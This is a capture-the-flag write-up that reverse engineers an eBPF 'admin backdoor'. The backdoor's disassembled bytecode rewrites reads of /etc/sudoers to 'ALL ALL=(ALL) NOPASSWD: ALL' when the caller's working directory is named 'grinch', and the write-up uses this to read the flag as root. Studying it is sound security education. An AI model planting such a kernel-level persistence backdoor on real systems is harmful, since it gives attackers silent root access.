Flash CTF – Berkeley Baubles

Challenge Description

This is an eBPF reverse engineering challenge. You’re given all the information regarding an eBPF program that has been attached to a Linux machine. The challenge implies that its purpose is to be an “admin backdoor” of some sort, sneakily giving an attacker admin access to the system. (Given that it generally requires admin permissions to attach eBPF, we can assume that in-character, this is some form of stealthy persistence, letting the attacker regain access if their original method of entry is closed off.)

eBPF is a relatively new technology that allows small, provably-safe (regarding crashes and memory leaks, not morality) programs to run in a virtual machine in kernelspace. These programs, which run on predefined hook points in the kernel, can do things like

  • Very efficiently filter, forward, log, etc. network traffic (XDP)
  • Monitor system security and block or alert on certain activities (LSM, etc.)
  • Debug or profile the kernel (kprobe, tracepoint, etc.)
  • … evil, malicious attacks! (this challenge)

You can think of eBPF programs as very roughly similar to kernel modules, but easier to write, dynamically loaded, less powerful in terms of abilities, and a heck of a lot safer memory-corruption-wise. (If this challenge piques your interest, bpftrace is a great tool to get started with.)

bpftool

Let’s take a look at the first file given to us, the bpftool output.

$ sudo bpftool prog show id 332
332: tracing  name fexit_ksys_read  tag 01bd4e33cebb9d26  gpl
        loaded_at 2024-12-21T09:39:07+0000  uid 0
        xlated 576B  jited 470B  memlock 4096B  map_ids 157,158

$ sudo bpftool map show id 157
157: array  name .rodata.str1.1  flags 0x80
        key 4B  value 36B  max_entries 1  memlock 4096B
        frozen

$ sudo bpftool map show id 158
158: array  name probe5.rodata  flags 0x80
        key 4B  value 2B  max_entries 1  memlock 4096B
        frozen

$ sudo bpftool map dump id 157
key:
00 00 00 00
value:
6a 69 6e 67 6c 65 00 41  4c 4c 20 41 4c 4c 3d 28
41 4c 4c 29 20 4e 4f 50  41 53 53 57 44 3a 20 41
4c 4c 0a 00
Found 1 element

$ sudo bpftool map dump id 158
key: 00 00 00 00  value: 00 00
Found 1 element

What this means is that there’s an eBPF program attached on fexit_ksys_read (basically, it will run right before the read syscall exits). It has access to two eBPF maps, which are data structures used by eBPF to store read-only data, and communicate with each other or with userspace programs. The contents of those maps are dumped below, and judging by the names (.rodata.str1.1probe5.rodata) it seems like they’re indeed meant for read-only data.

The second map is just some zeroes, but the first one (157) has some interesting data in it. Let’s decode the hex:

jingle␀ALL ALL=(ALL) NOPASSWD: ALL
␀

It looks like two null-terminated strings – one that just says jingle, and another that you may recognize as sudoers syntax, and in any case, Google would confirm that this is syntax to allow any user to run sudo (the classic Linux privilege escalation command) and gain root privileges. One can probably reasonably assume, just off of this, that this is a sudo backdoor of some sort – meet some condition, and the read("/etc/sudoers") syscall will be manipulated by the eBPF to return ALL ALL=(ALL) NOPASSWD: ALL instead of the actual contents of the sudoers file, and give you free root access. We just need to figure out what that condition is.

A similar backdoor is implemented here.

Bytecode

Let’s start looking at the bytecode. (Note: My solve will be manual, but Ghidra does have some eBPF capability – I just couldn’t figure out how to get it to work myself. That might be an easier route!)

Here’s the bytecode dump, conveniently disassembled for us by bpftool:

   0: (79) r7 = *(u64 *)(r1 +24)
   1: (79) r6 = *(u64 *)(r1 +8)
   2: (85) call bpf_get_current_task_btf#-65856
   3: (79) r1 = *(u64 *)(r0 +3104)
   4: (79) r1 = *(u64 *)(r1 +48)
   5: (79) r3 = *(u64 *)(r1 +40)
   6: (bf) r1 = r10
   7: (07) r1 += -6
   8: (b7) r2 = 6
   9: (85) call bpf_probe_read_kernel#-68672
  10: (55) if r0 != 0x0 goto pc+59
  11: (71) r1 = *(u8 *)(r10 -6)
  12: (a7) r1 ^= 13
  13: (73) *(u8 *)(r10 -6) = r1
  14: (71) r1 = *(u8 *)(r10 -5)
  15: (a7) r1 ^= 27
  16: (73) *(u8 *)(r10 -5) = r1
  17: (71) r1 = *(u8 *)(r10 -4)
  18: (a7) r1 ^= 7
  19: (73) *(u8 *)(r10 -4) = r1
  20: (71) r1 = *(u8 *)(r10 -3)
  21: (a7) r1 ^= 9
  22: (73) *(u8 *)(r10 -3) = r1
  23: (71) r1 = *(u8 *)(r10 -2)
  24: (a7) r1 ^= 15
  25: (73) *(u8 *)(r10 -2) = r1
  26: (71) r1 = *(u8 *)(r10 -1)
  27: (a7) r1 ^= 13
  28: (73) *(u8 *)(r10 -1) = r1
  29: (bf) r1 = r10
  30: (07) r1 += -6
  31: (b7) r2 = 6
  32: (18) r3 = map[id:157][0]+0
  34: (85) call bpf_strncmp#168128
  35: (55) if r0 != 0x0 goto pc+34
  36: (bf) r1 = r10
  37: (07) r1 += -106
  38: (b7) r2 = 100
  39: (bf) r3 = r6
  40: (85) call bpf_probe_read_compat#-61664
  41: (71) r1 = *(u8 *)(r10 -67)
  42: (55) if r1 != 0x76 goto pc+27
  43: (71) r1 = *(u8 *)(r10 -66)
  44: (55) if r1 != 0x69 goto pc+25
  45: (71) r1 = *(u8 *)(r10 -65)
  46: (55) if r1 != 0x73 goto pc+23
  47: (71) r1 = *(u8 *)(r10 -64)
  48: (55) if r1 != 0x75 goto pc+21
  49: (71) r1 = *(u8 *)(r10 -63)
  50: (55) if r1 != 0x64 goto pc+19
  51: (71) r1 = *(u8 *)(r10 -62)
  52: (55) if r1 != 0x6f goto pc+17
  53: (b7) r9 = 29
  54: (bf) r1 = r6
  55: (18) r2 = map[id:157][0]+7
  57: (b7) r3 = 29
  58: (85) call bpf_probe_write_user#-68512
  59: (bf) r8 = r9
  60: (bf) r1 = r6
  61: (0f) r1 += r8
  62: (18) r2 = map[id:158][0]+0
  64: (b7) r3 = 1
  65: (85) call bpf_probe_write_user#-68512
  66: (6d) if r8 s> r7 goto pc+3
  67: (bf) r9 = r8
  68: (07) r9 += 1
  69: (55) if r8 != 0x7ff goto pc-11
  70: (b7) r0 = 0
  71: (95) exit

It looks complicated at first, but it’s actually fairly readable. r1r2, and so on are registers. The calls are calls to eBPF helper functions (https://docs.ebpf.io/linux/helper-function/https://man7.org/linux/man-pages/man7/bpf-helpers.7.html). The map[] syntax accesses data within maps.

Also provided in that folder is prog_dump_graphviz, a bpftool-generated graphviz file that shows the control flow of the program. This might be useful! There’s also prog_dump_raw, the raw bytecode, and btf_dump. (BTF, with some handwaving, defines the kernel data structures available to us and the offsets of members within them.)

To start, btf_dump can show us the function signature of ksys_read:

[39536] FUNC_PROTO '(anon)' ret_type_id=691 vlen=3
	'fd' type_id=55
	'buf' type_id=166
	'count' type_id=198
[39537] FUNC 'ksys_read' type_id=39536 linkage=static

So the arguments our eBPF program can see are a file descriptor, the data buffer, and a count (the maximum # of bytes userspace will accept in this read()). Looking up top:

0: (79) r7 = *(u64 *)(r1 +24)
1: (79) r6 = *(u64 *)(r1 +8)

… it seems some of those arguments are being read into registers. r6 is presumably buf, while r7 seems to be out of bounds – it’s a special extra argument, retval, the return value of the function, that we get because we’re probing on fexit.

Next up, we’ve got this:

2: (85) call bpf_get_current_task_btf#-65856
3: (79) r1 = *(u64 *)(r0 +3104)
4: (79) r1 = *(u64 *)(r1 +48)
5: (79) r3 = *(u64 *)(r1 +40)

That helper function call will give us access to the task_struct of the task (analogous to thread) that called the system call we’re in now. What follows appears to be some pointer math, traversing through kernel data structures. Let’s look at the BTF dump (remember the numbers in the bytecode are bytes, while the BTF dump shows bits, so multiply by 8) and see where all this pointer-following lands.

[431] STRUCT 'task_struct' size=13696 vlen=251
    ... 
	'fs' type_id=600 bits_offset=24832
    ...

[600] PTR '(anon)' type_id=3978

[3978] STRUCT 'fs_struct' size=56 vlen=7
	'users' type_id=61 bits_offset=0
	'lock' type_id=251 bits_offset=32
	'seq' type_id=512 bits_offset=64
	'umask' type_id=61 bits_offset=96
	'in_exec' type_id=61 bits_offset=128
	'root' type_id=1039 bits_offset=192
	'pwd' type_id=1039 bits_offset=320

[1039] STRUCT 'path' size=16 vlen=2
	'mnt' type_id=1037 bits_offset=0
	'dentry' type_id=1006 bits_offset=64

[1006] PTR '(anon)' type_id=1004

[1004] STRUCT 'dentry' size=192 vlen=16
	'd_flags' type_id=55 bits_offset=0
	'd_seq' type_id=512 bits_offset=32
	'd_hash' type_id=991 bits_offset=64
	'd_parent' type_id=1006 bits_offset=192
	'd_name' type_id=999 bits_offset=256
	'd_inode' type_id=1009 bits_offset=384
	'd_iname' type_id=1010 bits_offset=448
	'd_lockref' type_id=996 bits_offset=704
	'd_op' type_id=1013 bits_offset=768
	'd_sb' type_id=1015 bits_offset=832
	'd_time' type_id=53 bits_offset=896
	'd_fsdata' type_id=56 bits_offset=960
	'(anon)' type_id=1001 bits_offset=1024
	'd_child' type_id=232 bits_offset=1152
	'd_subdirs' type_id=232 bits_offset=1280
	'd_u' type_id=1003 bits_offset=1408

In the end, it looks like we point to the name of pwd, the current working directory of the program. bpf_probe_read_kernel is called to read it to a local variable, and then this happens:

  11: (71) r1 = *(u8 *)(r10 -6)
  12: (a7) r1 ^= 13
  13: (73) *(u8 *)(r10 -6) = r1
  14: (71) r1 = *(u8 *)(r10 -5)
  15: (a7) r1 ^= 27
  16: (73) *(u8 *)(r10 -5) = r1
  17: (71) r1 = *(u8 *)(r10 -4)
  18: (a7) r1 ^= 7
  19: (73) *(u8 *)(r10 -4) = r1
  20: (71) r1 = *(u8 *)(r10 -3)
  21: (a7) r1 ^= 9
  22: (73) *(u8 *)(r10 -3) = r1
  23: (71) r1 = *(u8 *)(r10 -2)
  24: (a7) r1 ^= 15
  25: (73) *(u8 *)(r10 -2) = r1
  26: (71) r1 = *(u8 *)(r10 -1)
  27: (a7) r1 ^= 13
  28: (73) *(u8 *)(r10 -1) = r1
  29: (bf) r1 = r10
  30: (07) r1 += -6
  31: (b7) r2 = 6
  32: (18) r3 = map[id:157][0]+0
  34: (85) call bpf_strncmp#168128

map[id:157][0] points to jingle, and it looks like it’s used as an input to a strncmp. But if we try logging in, creating a directory called jingle, and running sudo, nothing special happens. What’s going on with all that ^= XOR stuff?

Let’s extract the numeric constants the data is being XORed with: 13 27 7 9 15 13

If we XOR jingle against this, we get grinch. Much more thematically appropriate.

We could keep reversing further to see how the actual “exploit” works, or we could take a shot in the dark with what we know so far.

Exploit

Log in to the system with the provided SSH command and password. Then:

elfontheshell@toymachine:~$ cat /flag.txt 
cat: /flag.txt: Permission denied

elfontheshell@toymachine:~$ cat /etc/sudoers
#
# This file MUST be edited with the 'visudo' command as root.
#
# Please consider adding local content in /etc/sudoers.d/ instead of
# directly modifying this file.

Let’s try the attack.

elfontheshell@toymachine:~$ mkdir grinch
mkdir: cannot create directory 'grinch': File exists
elfontheshell@toymachine:~$ cd grinch
elfontheshell@toymachine:~/grinch$ cat /etc/sudoers
ALL ALL=(ALL) NOPASSWD: ALL

And here we go:

elfontheshell@toymachine:~/grinch$ sudo cat /flag.txt 
MetaCTF{h0w_th3_gr1nch_st0l3_th3_sud03rs_fil3}